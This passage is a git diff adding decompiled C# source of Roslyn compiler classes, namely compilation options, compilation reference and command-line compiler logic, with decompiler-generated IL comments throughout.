debugPlusMode; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithMetadataImportOptions(MetadataImportOptions value) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + if (value == ((CompilationOptions)this).MetadataImportOptions) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).MetadataImportOptions = value; + return cSharpCompilationOptions; + } + + internal CSharpCompilationOptions WithReferencesSupersedeLowerVersions(bool value) + { + if (value == ((CompilationOptions)this).ReferencesSupersedeLowerVersions) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).ReferencesSupersedeLowerVersions = value; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithXmlReferenceResolver(XmlReferenceResolver? resolver) + { + if (resolver == ((CompilationOptions)this).XmlReferenceResolver) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).XmlReferenceResolver = resolver; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithSourceReferenceResolver(SourceReferenceResolver? resolver) + { + if (resolver == ((CompilationOptions)this).SourceReferenceResolver) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).SourceReferenceResolver = resolver; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithSyntaxTreeOptionsProvider(SyntaxTreeOptionsProvider? provider) + { + if (provider == ((CompilationOptions)this).SyntaxTreeOptionsProvider) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).SyntaxTreeOptionsProvider = provider; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithMetadataReferenceResolver(MetadataReferenceResolver? resolver) + { + if (resolver == ((CompilationOptions)this).MetadataReferenceResolver) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).MetadataReferenceResolver = resolver; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithAssemblyIdentityComparer(AssemblyIdentityComparer? comparer) + { + comparer = comparer ?? AssemblyIdentityComparer.Default; + if (comparer == ((CompilationOptions)this).AssemblyIdentityComparer) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).AssemblyIdentityComparer = comparer; + return cSharpCompilationOptions; + } + + public CSharpCompilationOptions WithStrongNameProvider(StrongNameProvider? provider) + { + if (provider == ((CompilationOptions)this).StrongNameProvider) + { + return this; + } + CSharpCompilationOptions cSharpCompilationOptions = new CSharpCompilationOptions(this); + ((CompilationOptions)cSharpCompilationOptions).StrongNameProvider = provider; + return cSharpCompilationOptions; + } + + protected override CompilationOptions CommonWithConcurrentBuild(bool concurrent) + { + return (CompilationOptions)(object)WithConcurrentBuild(concurrent); + } + + protected override CompilationOptions CommonWithDeterministic(bool deterministic) + { + return (CompilationOptions)(object)WithDeterministic(deterministic); + } + + protected override CompilationOptions CommonWithOutputKind(OutputKind kind) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (CompilationOptions)(object)WithOutputKind(kind); + } + + protected override CompilationOptions CommonWithPlatform(Platform platform) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (CompilationOptions)(object)WithPlatform(platform); + } + + protected override CompilationOptions CommonWithPublicSign(bool publicSign) + { + return (CompilationOptions)(object)WithPublicSign(publicSign); + } + + protected override CompilationOptions CommonWithOptimizationLevel(OptimizationLevel value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (CompilationOptions)(object)WithOptimizationLevel(value); + } + + protected override CompilationOptions CommonWithAssemblyIdentityComparer(AssemblyIdentityComparer? comparer) + { + return (CompilationOptions)(object)WithAssemblyIdentityComparer(comparer); + } + + protected override CompilationOptions CommonWithXmlReferenceResolver(XmlReferenceResolver? resolver) + { + return (CompilationOptions)(object)WithXmlReferenceResolver(resolver); + } + + protected override CompilationOptions CommonWithSourceReferenceResolver(SourceReferenceResolver? resolver) + { + return (CompilationOptions)(object)WithSourceReferenceResolver(resolver); + } + + protected override CompilationOptions CommonWithSyntaxTreeOptionsProvider(SyntaxTreeOptionsProvider? provider) + { + return (CompilationOptions)(object)WithSyntaxTreeOptionsProvider(provider); + } + + protected override CompilationOptions CommonWithMetadataReferenceResolver(MetadataReferenceResolver? resolver) + { + return (CompilationOptions)(object)WithMetadataReferenceResolver(resolver); + } + + protected override CompilationOptions CommonWithStrongNameProvider(StrongNameProvider? provider) + { + return (CompilationOptions)(object)WithStrongNameProvider(provider); + } + + protected override CompilationOptions CommonWithMetadataImportOptions(MetadataImportOptions value) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return (CompilationOptions)(object)WithMetadataImportOptions(value); + } + + [Obsolete] + protected override CompilationOptions CommonWithFeatures(ImmutableArray features) + { + throw new NotImplementedException(); + } + + internal override void ValidateOptions(ArrayBuilder builder) + { + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a2: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_0121: Unknown result type (might be due to invalid IL or missing references) + //IL_0102: Unknown result type (might be due to invalid IL or missing references) + //IL_0107: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_014e: Unknown result type (might be due to invalid IL or missing references) + //IL_0294: Unknown result type (might be due to invalid IL or missing references) + //IL_029a: Invalid comparison between Unknown and I4 + //IL_02d9: Unknown result type (might be due to invalid IL or missing references) + //IL_029d: Unknown result type (might be due to invalid IL or missing references) + //IL_0301: Unknown result type (might be due to invalid IL or missing references) + //IL_0306: Unknown result type (might be due to invalid IL or missing references) + //IL_02aa: Unknown result type (might be due to invalid IL or missing references) + //IL_02b2: Unknown result type (might be due to invalid IL or missing references) + //IL_02b8: Invalid comparison between Unknown and I4 + //IL_02bb: Unknown result type (might be due to invalid IL or missing references) + //IL_02c1: Invalid comparison between Unknown and I4 + ((CompilationOptions)this).ValidateOptions(builder, (CommonMessageProvider)(object)MessageProvider.Instance); + if (((CompilationOptions)this).MainTypeName != null) + { + if (EnumBounds.IsValid(((CompilationOptions)this).OutputKind) && !EnumBounds.IsApplication(((CompilationOptions)this).OutputKind)) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 2017)); + } + if (!StringExtensions.IsValidClrTypeName(((CompilationOptions)this).MainTypeName)) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 7088, new object[2] + { + "MainTypeName", + ((CompilationOptions)this).MainTypeName + })); + } + } + if (!EnumBounds.IsValid(((CompilationOptions)this).Platform)) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 1672, new object[1] { ((object)((CompilationOptions)this).Platform/*cast due to constrained. prefix*/).ToString() })); + } + if (((CompilationOptions)this).ModuleName != null) + { + MetadataHelpers.CheckAssemblyOrModuleName(((CompilationOptions)this).ModuleName, (CommonMessageProvider)(object)MessageProvider.Instance, 7087, builder); + } + if (!EnumBounds.IsValid(((CompilationOptions)this).OutputKind)) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 7088, new object[2] + { + "OutputKind", + ((object)((CompilationOptions)this).OutputKind/*cast due to constrained. prefix*/).ToString() + })); + } + if (!EnumBounds.IsValid(((CompilationOptions)this).OptimizationLevel)) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 7088, new object[2] + { + "OptimizationLevel", + ((object)((CompilationOptions)this).OptimizationLevel/*cast due to constrained. prefix*/).ToString() + })); + } + if (((CompilationOptions)this).ScriptClassName == null || !StringExtensions.IsValidClrTypeName(((CompilationOptions)this).ScriptClassName)) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 7088, new object[2] + { + "ScriptClassName", + ((CompilationOptions)this).ScriptClassName ?? "null" + })); + } + if (((CompilationOptions)this).WarningLevel < 0) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 7088, new object[2] + { + "WarningLevel", + ((CompilationOptions)this).WarningLevel + })); + } + if (Usings != null && Usings.Any((string u) => !StringExtensions.IsValidClrNamespaceName(u))) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 7088, new object[2] + { + "Usings", + Usings.Where((string u) => !StringExtensions.IsValidClrNamespaceName(u)).First() ?? "null" + })); + } + if ((int)((CompilationOptions)this).Platform == 4 && EnumBounds.IsValid(((CompilationOptions)this).OutputKind) && (int)((CompilationOptions)this).OutputKind != 0 && (int)((CompilationOptions)this).OutputKind != 1 && (int)((CompilationOptions)this).OutputKind != 5) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 4023)); + } + if (!EnumBounds.IsValid(((CompilationOptions)this).MetadataImportOptions)) + { + builder.Add(Diagnostic.Create((CommonMessageProvider)(object)MessageProvider.Instance, 7088, new object[2] + { + "MetadataImportOptions", + ((object)((CompilationOptions)this).MetadataImportOptions/*cast due to constrained. prefix*/).ToString() + })); + } + } + + public bool Equals(CSharpCompilationOptions? other) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + if (this == other) + { + return true; + } + if (!((CompilationOptions)this).EqualsHelper((CompilationOptions)(object)other)) + { + return false; + } + if (AllowUnsafe == other.AllowUnsafe && TopLevelBinderFlags == other.TopLevelBinderFlags) + { + if (!(Usings == null)) + { + if (Usings.SequenceEqual(other.Usings, StringComparer.Ordinal)) + { + return ((CompilationOptions)this).NullableContextOptions == ((CompilationOptions)other).NullableContextOptions; + } + return false; + } + return other.Usings == null; + } + return false; + } + + public override bool Equals(object? obj) + { + return Equals(obj as CSharpCompilationOptions); + } + + protected override int ComputeHashCode() + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Expected I4, but got Unknown + return Hash.Combine(((CompilationOptions)this).GetHashCodeHelper(), Hash.Combine(AllowUnsafe, Hash.Combine(Hash.CombineValues(Usings, StringComparer.Ordinal, int.MaxValue), Hash.Combine(((uint)TopLevelBinderFlags).GetHashCode(), ((int)((CompilationOptions)this).NullableContextOptions).GetHashCode())))); + } + + internal override Diagnostic? FilterDiagnostic(Diagnostic diagnostic, CancellationToken cancellationToken) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return CSharpDiagnosticFilter.Filter(diagnostic, ((CompilationOptions)this).WarningLevel, ((CompilationOptions)this).NullableContextOptions, ((CompilationOptions)this).GeneralDiagnosticOption, ((CompilationOptions)this).SpecificDiagnosticOptions, ((CompilationOptions)this).SyntaxTreeOptionsProvider, cancellationToken); + } + + protected override CompilationOptions CommonWithModuleName(string? moduleName) + { + return (CompilationOptions)(object)WithModuleName(moduleName); + } + + protected override CompilationOptions CommonWithMainTypeName(string? mainTypeName) + { + return (CompilationOptions)(object)WithMainTypeName(mainTypeName); + } + + protected override CompilationOptions CommonWithScriptClassName(string? scriptClassName) + { + return (CompilationOptions)(object)WithScriptClassName(scriptClassName); + } + + protected override CompilationOptions CommonWithCryptoKeyContainer(string? cryptoKeyContainer) + { + return (CompilationOptions)(object)WithCryptoKeyContainer(cryptoKeyContainer); + } + + protected override CompilationOptions CommonWithCryptoKeyFile(string? cryptoKeyFile) + { + return (CompilationOptions)(object)WithCryptoKeyFile(cryptoKeyFile); + } + + protected override CompilationOptions CommonWithCryptoPublicKey(ImmutableArray cryptoPublicKey) + { + return (CompilationOptions)(object)WithCryptoPublicKey(cryptoPublicKey); + } + + protected override CompilationOptions CommonWithDelaySign(bool? delaySign) + { + return (CompilationOptions)(object)WithDelaySign(delaySign); + } + + protected override CompilationOptions CommonWithCheckOverflow(bool checkOverflow) + { + return (CompilationOptions)(object)WithOverflowChecks(checkOverflow); + } + + [EditorBrowsable(EditorBrowsableState.Never)] + public CSharpCompilationOptions(OutputKind outputKind, string? moduleName, string? mainTypeName, string? scriptClassName, IEnumerable? usings, OptimizationLevel optimizationLevel, bool checkOverflow, bool allowUnsafe, string? cryptoKeyContainer, string? cryptoKeyFile, ImmutableArray cryptoPublicKey, bool? delaySign, Platform platform, ReportDiagnostic generalDiagnosticOption, int warningLevel, IEnumerable>? specificDiagnosticOptions, bool concurrentBuild, bool deterministic, XmlReferenceResolver? xmlReferenceResolver, SourceReferenceResolver? sourceReferenceResolver, MetadataReferenceResolver? metadataReferenceResolver, AssemblyIdentityComparer? assemblyIdentityComparer, StrongNameProvider? strongNameProvider) + : this(outputKind, reportSuppressedDiagnostics: false, moduleName, mainTypeName, scriptClassName, usings, optimizationLevel, checkOverflow, allowUnsafe, cryptoKeyContainer, cryptoKeyFile, cryptoPublicKey, delaySign, platform, generalDiagnosticOption, warningLevel, specificDiagnosticOptions, concurrentBuild, deterministic, xmlReferenceResolver, sourceReferenceResolver, metadataReferenceResolver, assemblyIdentityComparer, strongNameProvider, publicSign: false) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + + + [EditorBrowsable(EditorBrowsableState.Never)] + public CSharpCompilationOptions(OutputKind outputKind, string? moduleName, string? mainTypeName, string? scriptClassName, IEnumerable? usings, OptimizationLevel optimizationLevel, bool checkOverflow, bool allowUnsafe, string? cryptoKeyContainer, string? cryptoKeyFile, ImmutableArray cryptoPublicKey, bool? delaySign, Platform platform, ReportDiagnostic generalDiagnosticOption, int warningLevel, IEnumerable>? specificDiagnosticOptions, bool concurrentBuild, XmlReferenceResolver? xmlReferenceResolver, SourceReferenceResolver? sourceReferenceResolver, MetadataReferenceResolver? metadataReferenceResolver, AssemblyIdentityComparer? assemblyIdentityComparer, StrongNameProvider? strongNameProvider) + : this(outputKind, moduleName, mainTypeName, scriptClassName, usings, optimizationLevel, checkOverflow, allowUnsafe, cryptoKeyContainer, cryptoKeyFile, cryptoPublicKey, delaySign, platform, generalDiagnosticOption, warningLevel, specificDiagnosticOptions, concurrentBuild, deterministic: false, xmlReferenceResolver, sourceReferenceResolver, metadataReferenceResolver, assemblyIdentityComparer, strongNameProvider) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + + + [EditorBrowsable(EditorBrowsableState.Never)] + public CSharpCompilationOptions(OutputKind outputKind, bool reportSuppressedDiagnostics, string? moduleName, string? mainTypeName, string? scriptClassName, IEnumerable? usings, OptimizationLevel optimizationLevel, bool checkOverflow, bool allowUnsafe, string? cryptoKeyContainer, string? cryptoKeyFile, ImmutableArray cryptoPublicKey, bool? delaySign, Platform platform, ReportDiagnostic generalDiagnosticOption, int warningLevel, IEnumerable>? specificDiagnosticOptions, bool concurrentBuild, bool deterministic, XmlReferenceResolver? xmlReferenceResolver, SourceReferenceResolver? sourceReferenceResolver, MetadataReferenceResolver? metadataReferenceResolver, AssemblyIdentityComparer? assemblyIdentityComparer, StrongNameProvider? strongNameProvider) + : this(outputKind, reportSuppressedDiagnostics: false, moduleName, mainTypeName, scriptClassName, usings, optimizationLevel, checkOverflow, allowUnsafe, cryptoKeyContainer, cryptoKeyFile, cryptoPublicKey, delaySign, platform, generalDiagnosticOption, warningLevel, specificDiagnosticOptions, concurrentBuild, deterministic, default(DateTime), debugPlusMode: false, xmlReferenceResolver, sourceReferenceResolver, null, metadataReferenceResolver, assemblyIdentityComparer, strongNameProvider, (MetadataImportOptions)0, referencesSupersedeLowerVersions: false, publicSign: false, BinderFlags.None, (NullableContextOptions)0) + { + }//IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationReference.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationReference.cs new file mode 100644 index 0000000..c805ea7 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompilationReference.cs @@ -0,0 +1,37 @@ +using System.Collections.Immutable; +using System.Diagnostics; + +namespace Microsoft.CodeAnalysis.CSharp; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal sealed class CSharpCompilationReference : CompilationReference +{ + public CSharpCompilation Compilation { get; } + + internal override Compilation CompilationCore => (Compilation)(object)Compilation; + + public CSharpCompilationReference(CSharpCompilation compilation, ImmutableArray aliases = default(ImmutableArray), bool embedInteropTypes = false) + : base(CompilationReference.GetProperties((Compilation)(object)compilation, aliases, embedInteropTypes)) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + Compilation = compilation; + } + + private CSharpCompilationReference(CSharpCompilation compilation, MetadataReferenceProperties properties) + : base(properties) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + Compilation = compilation; + } + + internal override CompilationReference WithPropertiesImpl(MetadataReferenceProperties properties) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return (CompilationReference)(object)new CSharpCompilationReference(Compilation, properties); + } + + private string GetDebuggerDisplay() + { + return CSharpResources.CompilationC + ((Compilation)Compilation).AssemblyName; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompiler.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompiler.cs new file mode 100644 index 0000000..76c4f50 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/CSharpCompiler.cs @@ -0,0 +1,344 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.IO; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.Collections; +using Microsoft.CodeAnalysis.Diagnostics; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal abstract class CSharpCompiler : CommonCompiler +{ + internal const string ResponseFileName = "csc.rsp"; + + private readonly CommandLineDiagnosticFormatter _diagnosticFormatter; + + private readonly string? _tempDirectory; + + public override DiagnosticFormatter DiagnosticFormatter => (DiagnosticFormatter)(object)_diagnosticFormatter; + + protected internal CSharpCommandLineArguments Arguments => (CSharpCommandLineArguments)(object)((CommonCompiler)this).Arguments; + + internal override Type Type => typeof(CSharpCompiler); + + protected CSharpCompiler(CSharpCommandLineParser parser, string? responseFile, string[] args, BuildPaths buildPaths, string? additionalReferenceDirectories, IAnalyzerAssemblyLoader assemblyLoader, GeneratorDriverCache? driverCache = null, ICommonCompilerFileSystem? fileSystem = null) + : base((CommandLineParser)(object)parser, responseFile, args, buildPaths, additionalReferenceDirectories, assemblyLoader, driverCache, fileSystem) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + _diagnosticFormatter = new CommandLineDiagnosticFormatter(((BuildPaths)(ref buildPaths)).WorkingDirectory, ((CommandLineArguments)Arguments).PrintFullPaths, Arguments.ShouldIncludeErrorEndLocation); + _tempDirectory = ((BuildPaths)(ref buildPaths)).TempDirectory; + } + + public override Compilation? CreateCompilation(TextWriter consoleOutput, TouchedFileLogger? touchedFilesLogger, ErrorLogger? errorLogger, ImmutableArray analyzerConfigOptions, AnalyzerConfigOptionsResult globalConfigOptions) + { + //IL_0263: Unknown result type (might be due to invalid IL or missing references) + //IL_026d: Expected O, but got Unknown + //IL_027b: Unknown result type (might be due to invalid IL or missing references) + //IL_0282: Expected O, but got Unknown + //IL_029e: Unknown result type (might be due to invalid IL or missing references) + //IL_02a5: Expected O, but got Unknown + //IL_02c6: Unknown result type (might be due to invalid IL or missing references) + //IL_02cd: Expected O, but got Unknown + //IL_02d5: Unknown result type (might be due to invalid IL or missing references) + //IL_02d7: Unknown result type (might be due to invalid IL or missing references) + //IL_02de: Expected O, but got Unknown + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + //IL_0191: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Expected O, but got Unknown + CSharpParseOptions parseOptions = Arguments.ParseOptions; + CSharpParseOptions scriptParseOptions = parseOptions.WithKind((SourceCodeKind)1); + bool hadErrors = false; + ImmutableArray sourceFiles = ((CommandLineArguments)Arguments).SourceFiles; + SyntaxTree?[] trees = (SyntaxTree?[])(object)new SyntaxTree[sourceFiles.Length]; + string?[] normalizedFilePaths = new string[sourceFiles.Length]; + DiagnosticBag diagnosticBag = DiagnosticBag.GetInstance(); + if (((CompilationOptions)Arguments.CompilationOptions).ConcurrentBuild) + { + RoslynParallel.For(0, sourceFiles.Length, UICultureUtilities.WithCurrentUICulture((Action)delegate(int i) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + trees[i] = ParseFile(parseOptions, scriptParseOptions, ref hadErrors, sourceFiles[i], diagnosticBag, out normalizedFilePaths[i]); + }), CancellationToken.None); + } + else + { + for (int num = 0; num < sourceFiles.Length; num++) + { + trees[num] = ParseFile(parseOptions, scriptParseOptions, ref hadErrors, sourceFiles[num], diagnosticBag, out normalizedFilePaths[num]); + } + } + if (((CommonCompiler)this).ReportDiagnostics((IEnumerable)diagnosticBag.ToReadOnlyAndFree(), consoleOutput, errorLogger, (Compilation)null)) + { + return null; + } + List list = new List(); + HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); + for (int num2 = 0; num2 < sourceFiles.Length; num2++) + { + string text = normalizedFilePaths[num2]; + if (!hashSet.Add(text)) + { + list.Add(new DiagnosticInfo(((CommonCompiler)this).MessageProvider, 2002, new object[1] { ((CommandLineArguments)Arguments).PrintFullPaths ? text : _diagnosticFormatter.RelativizeNormalizedPath(text) })); + trees[num2] = null; + } + } + if (((CommandLineArguments)Arguments).TouchedFilesPath != null) + { + foreach (string item in hashSet) + { + touchedFilesLogger.AddRead(item); + } + } + DesktopAssemblyIdentityComparer comparer = DesktopAssemblyIdentityComparer.Default; + string appConfigPath = ((CommandLineArguments)Arguments).AppConfigPath; + if (appConfigPath != null) + { + try + { + using (FileStream fileStream = new FileStream(appConfigPath, FileMode.Open, FileAccess.Read)) + { + comparer = DesktopAssemblyIdentityComparer.LoadFromXml((Stream)fileStream); + } + if (touchedFilesLogger != null) + { + touchedFilesLogger.AddRead(appConfigPath); + } + } + catch (Exception ex) + { + list.Add(new DiagnosticInfo(((CommonCompiler)this).MessageProvider, 7093, new object[2] { appConfigPath, ex.Message })); + } + } + LoggingXmlFileResolver resolver = new LoggingXmlFileResolver(((CommandLineArguments)Arguments).BaseDirectory, touchedFilesLogger); + LoggingSourceFileResolver resolver2 = new LoggingSourceFileResolver(ImmutableArray.Empty, ((CommandLineArguments)Arguments).BaseDirectory, ((CommandLineArguments)Arguments).PathMap, touchedFilesLogger); + MetadataReferenceResolver resolver3 = default(MetadataReferenceResolver); + List references = ((CommonCompiler)this).ResolveMetadataReferences(list, touchedFilesLogger, ref resolver3); + if (((CommonCompiler)this).ReportDiagnostics((IEnumerable)list, consoleOutput, errorLogger, (Compilation)null)) + { + return null; + } + LoggingStrongNameFileSystem val = new LoggingStrongNameFileSystem(touchedFilesLogger, _tempDirectory); + CompilerSyntaxTreeOptionsProvider provider = new CompilerSyntaxTreeOptionsProvider(trees, analyzerConfigOptions, globalConfigOptions); + return (Compilation?)(object)CSharpCompilation.Create(((CommandLineArguments)Arguments).CompilationName, EnumerableExtensions.WhereNotNull((IEnumerable)trees), references, Arguments.CompilationOptions.WithMetadataReferenceResolver(resolver3).WithAssemblyIdentityComparer((AssemblyIdentityComparer?)(object)comparer).WithXmlReferenceResolver((XmlReferenceResolver?)(object)resolver) + .WithStrongNameProvider(((CommandLineArguments)Arguments).GetStrongNameProvider((StrongNameFileSystem)(object)val)) + .WithSourceReferenceResolver((SourceReferenceResolver?)(object)resolver2) + .WithSyntaxTreeOptionsProvider((SyntaxTreeOptionsProvider?)(object)provider)); + } + + private SyntaxTree? ParseFile(CSharpParseOptions parseOptions, CSharpParseOptions scriptParseOptions, ref bool addedDiagnostics, CommandLineSourceFile file, DiagnosticBag diagnostics, out string? normalizedFilePath) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + List list = new List(); + SourceText val = ((CommonCompiler)this).TryReadFileContent(file, (IList)list, ref normalizedFilePath); + if (val == null) + { + foreach (DiagnosticInfo item in list) + { + diagnostics.Add(((CommonCompiler)this).MessageProvider.CreateDiagnostic(item)); + } + list.Clear(); + addedDiagnostics = true; + return null; + } + return ParseFile(parseOptions, scriptParseOptions, val, file); + } + + private static SyntaxTree ParseFile(CSharpParseOptions parseOptions, CSharpParseOptions scriptParseOptions, SourceText content, CommandLineSourceFile file) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + SyntaxTree obj = SyntaxFactory.ParseSyntaxTree(content, (ParseOptions?)(object)(((CommandLineSourceFile)(ref file)).IsScript ? scriptParseOptions : parseOptions), ((CommandLineSourceFile)(ref file)).Path); + bool flag = default(bool); + obj.GetMappedLineSpanAndVisibility(default(TextSpan), ref flag); + return obj; + } + + protected override string GetOutputFileName(Compilation compilation, CancellationToken cancellationToken) + { + if (((CommandLineArguments)Arguments).OutputFileName != null) + { + return ((CommandLineArguments)Arguments).OutputFileName; + } + CSharpCompilation cSharpCompilation = (CSharpCompilation)(object)compilation; + Symbol symbol = cSharpCompilation.ScriptClass; + if ((object)symbol == null) + { + MethodSymbol entryPoint = cSharpCompilation.GetEntryPoint(cancellationToken); + if ((object)entryPoint == null) + { + return "error"; + } + symbol = entryPoint.PartialImplementationPart ?? entryPoint; + } + return Path.ChangeExtension(PathUtilities.GetFileName(symbol.GetFirstLocation().SourceTree.FilePath, true), ".exe"); + } + + internal override bool SuppressDefaultResponseFile(IEnumerable args) + { + return args.Any((string arg) => IReadOnlyListExtensions.Contains((IReadOnlyList)new string[2] { "/noconfig", "-noconfig" }, arg.ToLowerInvariant(), (IEqualityComparer)null)); + } + + public override void PrintLogo(TextWriter consoleOutput) + { + consoleOutput.WriteLine(ErrorFacts.GetMessage(MessageID.IDS_LogoLine1, ((CommonCompiler)this).Culture), ((CommonCompiler)this).GetToolName(), ((CommonCompiler)this).GetCompilerVersion()); + consoleOutput.WriteLine(ErrorFacts.GetMessage(MessageID.IDS_LogoLine2, ((CommonCompiler)this).Culture)); + consoleOutput.WriteLine(); + } + + public override void PrintLangVersions(TextWriter consoleOutput) + { + consoleOutput.WriteLine(ErrorFacts.GetMessage(MessageID.IDS_LangVersions, ((CommonCompiler)this).Culture)); + LanguageVersion languageVersion = LanguageVersion.Default.MapSpecifiedToEffectiveVersion(); + LanguageVersion languageVersion2 = LanguageVersion.Latest.MapSpecifiedToEffectiveVersion(); + LanguageVersion[] array = (LanguageVersion[])Enum.GetValues(typeof(LanguageVersion)); + foreach (LanguageVersion languageVersion3 in array) + { + if (languageVersion3 == languageVersion) + { + consoleOutput.WriteLine(languageVersion3.ToDisplayString() + " (default)"); + } + else if (languageVersion3 == languageVersion2) + { + consoleOutput.WriteLine(languageVersion3.ToDisplayString() + " (latest)"); + } + else + { + consoleOutput.WriteLine(languageVersion3.ToDisplayString()); + } + } + consoleOutput.WriteLine(); + } + + internal override string GetToolName() + { + return ErrorFacts.GetMessage(MessageID.IDS_ToolName, ((CommonCompiler)this).Culture); + } + + public override void PrintHelp(TextWriter consoleOutput) + { + consoleOutput.WriteLine(ErrorFacts.GetMessage(MessageID.IDS_CSCHelp, ((CommonCompiler)this).Culture)); + } + + protected override bool TryGetCompilerDiagnosticCode(string diagnosticId, out uint code) + { + return CommonCompiler.TryGetCompilerDiagnosticCode(diagnosticId, "CS", ref code); + } + + protected override void ResolveAnalyzersFromArguments(List diagnostics, CommonMessageProvider messageProvider, CompilationOptions compilationOptions, bool skipAnalyzers, out ImmutableArray analyzers, out ImmutableArray generators) + { + ((CommandLineArguments)Arguments).ResolveAnalyzersFromArguments("C#", diagnostics, messageProvider, ((CommonCompiler)this).AssemblyLoader, compilationOptions, skipAnalyzers, ref analyzers, ref generators); + } + + protected override void ResolveEmbeddedFilesFromExternalSourceDirectives(SyntaxTree tree, SourceReferenceResolver resolver, OrderedSet embeddedFiles, DiagnosticBag diagnostics) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + foreach (LineDirectiveTriviaSyntax directive in 